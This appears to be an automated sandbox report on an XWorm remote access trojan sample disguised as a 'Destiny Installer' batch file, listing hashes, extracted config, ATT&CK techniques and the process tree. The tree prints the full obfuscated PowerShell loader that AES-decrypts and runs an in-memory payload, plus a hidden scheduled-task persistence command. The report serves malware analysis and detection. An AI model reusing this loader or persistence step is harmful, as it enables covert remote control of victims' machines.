xworm | c70ce231f2c492b92157152d8a6138202a162be69fb33bd6e9571f9eaabc1ad3

Analysis

max time kernel
109s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
01/03/2025, 17:48

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General

Target

destiny installer/Destiny Installer.bat
Size

327KB
MD5

2ae432966df2247f6019b7f4f92133b5
SHA1

ccffdee15b76f1239ff1552b0b5992b04753096b
SHA256

b7993ee9e7a074d2fd1a39756bf13e276722043be49e932a5c1540cecd7f7a61
SHA512

83b254cbfbaedca5904d761466d638de7b758986f572679cf80c0cafbd20ffd46dc4aa97c04ace4d650ea073a25459cf2d6ef32275e2ca1ce11e0d22fed1a569
SSDEEP

6144:IGuBeLEz1JHrfxWyiFwx5mnJ7x2AxQ4SEqxqH284++gGZzmdH2lXVKwT5gJy9pHC:ItBe6bHVWy7ATxQ49H284+dGZzUH21wd

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

127.0.0.1:7000

Mutex

3axbgW4A6QodtIl7

Attributes

Install_directory
%ProgramData%
install_file
Destiny Installer.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4040-49-0x000001BEA61E0000-0x000001BEA61FA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
28	4040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1396	powershell.exe
1908	powershell.exe
4040	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1396	powershell.exe
1396	powershell.exe
1908	powershell.exe
1908	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeIncreaseQuotaPrivilege	1908	powershell.exe
Token: SeSecurityPrivilege	1908	powershell.exe
Token: SeTakeOwnershipPrivilege	1908	powershell.exe
Token: SeLoadDriverPrivilege	1908	powershell.exe
Token: SeSystemProfilePrivilege	1908	powershell.exe
Token: SeSystemtimePrivilege	1908	powershell.exe
Token: SeProfSingleProcessPrivilege	1908	powershell.exe
Token: SeIncBasePriorityPrivilege	1908	powershell.exe
Token: SeCreatePagefilePrivilege	1908	powershell.exe
Token: SeBackupPrivilege	1908	powershell.exe
Token: SeRestorePrivilege	1908	powershell.exe
Token: SeShutdownPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeSystemEnvironmentPrivilege	1908	powershell.exe
Token: SeRemoteShutdownPrivilege	1908	powershell.exe
Token: SeUndockPrivilege	1908	powershell.exe
Token: SeManageVolumePrivilege	1908	powershell.exe
Token: 33	1908	powershell.exe
Token: 34	1908	powershell.exe
Token: 35	1908	powershell.exe
Token: 36	1908	powershell.exe
Token: SeIncreaseQuotaPrivilege	1908	powershell.exe
Token: SeSecurityPrivilege	1908	powershell.exe
Token: SeTakeOwnershipPrivilege	1908	powershell.exe
Token: SeLoadDriverPrivilege	1908	powershell.exe
Token: SeSystemProfilePrivilege	1908	powershell.exe
Token: SeSystemtimePrivilege	1908	powershell.exe
Token: SeProfSingleProcessPrivilege	1908	powershell.exe
Token: SeIncBasePriorityPrivilege	1908	powershell.exe
Token: SeCreatePagefilePrivilege	1908	powershell.exe
Token: SeBackupPrivilege	1908	powershell.exe
Token: SeRestorePrivilege	1908	powershell.exe
Token: SeShutdownPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeSystemEnvironmentPrivilege	1908	powershell.exe
Token: SeRemoteShutdownPrivilege	1908	powershell.exe
Token: SeUndockPrivilege	1908	powershell.exe
Token: SeManageVolumePrivilege	1908	powershell.exe
Token: 33	1908	powershell.exe
Token: 34	1908	powershell.exe
Token: 35	1908	powershell.exe
Token: 36	1908	powershell.exe
Token: SeIncreaseQuotaPrivilege	1908	powershell.exe
Token: SeSecurityPrivilege	1908	powershell.exe
Token: SeTakeOwnershipPrivilege	1908	powershell.exe
Token: SeLoadDriverPrivilege	1908	powershell.exe
Token: SeSystemProfilePrivilege	1908	powershell.exe
Token: SeSystemtimePrivilege	1908	powershell.exe
Token: SeProfSingleProcessPrivilege	1908	powershell.exe
Token: SeIncBasePriorityPrivilege	1908	powershell.exe
Token: SeCreatePagefilePrivilege	1908	powershell.exe
Token: SeBackupPrivilege	1908	powershell.exe
Token: SeRestorePrivilege	1908	powershell.exe
Token: SeShutdownPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeSystemEnvironmentPrivilege	1908	powershell.exe
Token: SeRemoteShutdownPrivilege	1908	powershell.exe
Token: SeUndockPrivilege	1908	powershell.exe
Token: SeManageVolumePrivilege	1908	powershell.exe
Token: 33	1908	powershell.exe
Token: 34	1908	powershell.exe
Token: 35	1908	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 1396	4120	cmd.exe	91
PID 4120 wrote to memory of 1396	4120	cmd.exe	91
PID 1396 wrote to memory of 1908	1396	powershell.exe	92
PID 1396 wrote to memory of 1908	1396	powershell.exe	92
PID 1396 wrote to memory of 5028	1396	powershell.exe	97
PID 1396 wrote to memory of 5028	1396	powershell.exe	97
PID 5028 wrote to memory of 4428	5028	WScript.exe	98
PID 5028 wrote to memory of 4428	5028	WScript.exe	98
PID 4428 wrote to memory of 4040	4428	cmd.exe	101
PID 4428 wrote to memory of 4040	4428	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbpOv5Dd20QS+jAUaxWzfQ8Ue7OWB/lZpkmUiDzmjXc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+oOxt502v2luXR//6oDybA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OrPUq=New-Object System.IO.MemoryStream(,$param_var); $PVXiG=New-Object System.IO.MemoryStream; $QksXF=New-Object System.IO.Compression.GZipStream($OrPUq, [IO.Compression.CompressionMode]::Decompress); $QksXF.CopyTo($PVXiG); $QksXF.Dispose(); $OrPUq.Dispose(); $PVXiG.Dispose(); $PVXiG.ToArray();}function execute_function($param_var,$param2_var){ $dhbrq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UQwuM=$dhbrq.EntryPoint; $UQwuM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat';$AwDLs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat').Split([Environment]::NewLine);foreach ($zLvFY in $AwDLs) { if ($zLvFY.StartsWith(':: ')) { $OBKgh=$zLvFY.Substring(3); break; }}$payloads_var=[string[]]$OBKgh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_258_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_258.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1908
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_258.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_258.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4428
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbpOv5Dd20QS+jAUaxWzfQ8Ue7OWB/lZpkmUiDzmjXc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+oOxt502v2luXR//6oDybA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OrPUq=New-Object System.IO.MemoryStream(,$param_var); $PVXiG=New-Object System.IO.MemoryStream; $QksXF=New-Object System.IO.Compression.GZipStream($OrPUq, [IO.Compression.CompressionMode]::Decompress); $QksXF.CopyTo($PVXiG); $QksXF.Dispose(); $OrPUq.Dispose(); $PVXiG.Dispose(); $PVXiG.ToArray();}function execute_function($param_var,$param2_var){ $dhbrq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UQwuM=$dhbrq.EntryPoint; $UQwuM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_258.bat';$AwDLs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_258.bat').Split([Environment]::NewLine);foreach ($zLvFY in $AwDLs) { if ($zLvFY.StartsWith(':: ')) { $OBKgh=$zLvFY.Substring(3); break; }}$payloads_var=[string[]]$OBKgh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
773440cd6eb4e778c7d2115d1f231f75

SHA1
4b600aa41fcd267817961c95b104a0717c40e558

SHA256
64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c

SHA512
af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eoo5kgge.0h1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_258.bat

Filesize
327KB

MD5
2ae432966df2247f6019b7f4f92133b5

SHA1
ccffdee15b76f1239ff1552b0b5992b04753096b

SHA256
b7993ee9e7a074d2fd1a39756bf13e276722043be49e932a5c1540cecd7f7a61

SHA512
83b254cbfbaedca5904d761466d638de7b758986f572679cf80c0cafbd20ffd46dc4aa97c04ace4d650ea073a25459cf2d6ef32275e2ca1ce11e0d22fed1a569

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_258.vbs

Filesize
115B

MD5
1688db2f987657a17e4a93b28355d1d3

SHA1
229d01f2b7e34378fce0660da57e5bf9b54875b1

SHA256
82d5a1368d981e3b920b7a6333867b1e079f3f9d1bde88165bca9be9c45b70aa

SHA512
bafe980672739e23949d7564df205ba9d7a6ec4a003991b73d01e629e344b42a322470e26c2c0e301b51ff4d92144677a6dbfa2b10297a9bc5bd8734373cd557

Download Submit
memory/1396-12-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/1396-14-0x0000027C39F70000-0x0000027C39FB0000-memory.dmp

Filesize
256KB

Download
memory/1396-13-0x0000027C39D10000-0x0000027C39D18000-memory.dmp

Filesize
32KB

Download
memory/1396-0-0x00007FF817363000-0x00007FF817365000-memory.dmp

Filesize
8KB

Download
memory/1396-11-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/1396-10-0x0000027C39D20000-0x0000027C39D42000-memory.dmp

Filesize
136KB

Download
memory/1396-50-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/1908-16-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/1908-26-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/1908-27-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/1908-30-0x00007FF817360000-0x00007FF817E21000-memory.dmp

Filesize
10.8MB

Download
memory/4040-49-0x000001BEA61E0000-0x000001BEA61FA000-memory.dmp

Filesize
104KB

Download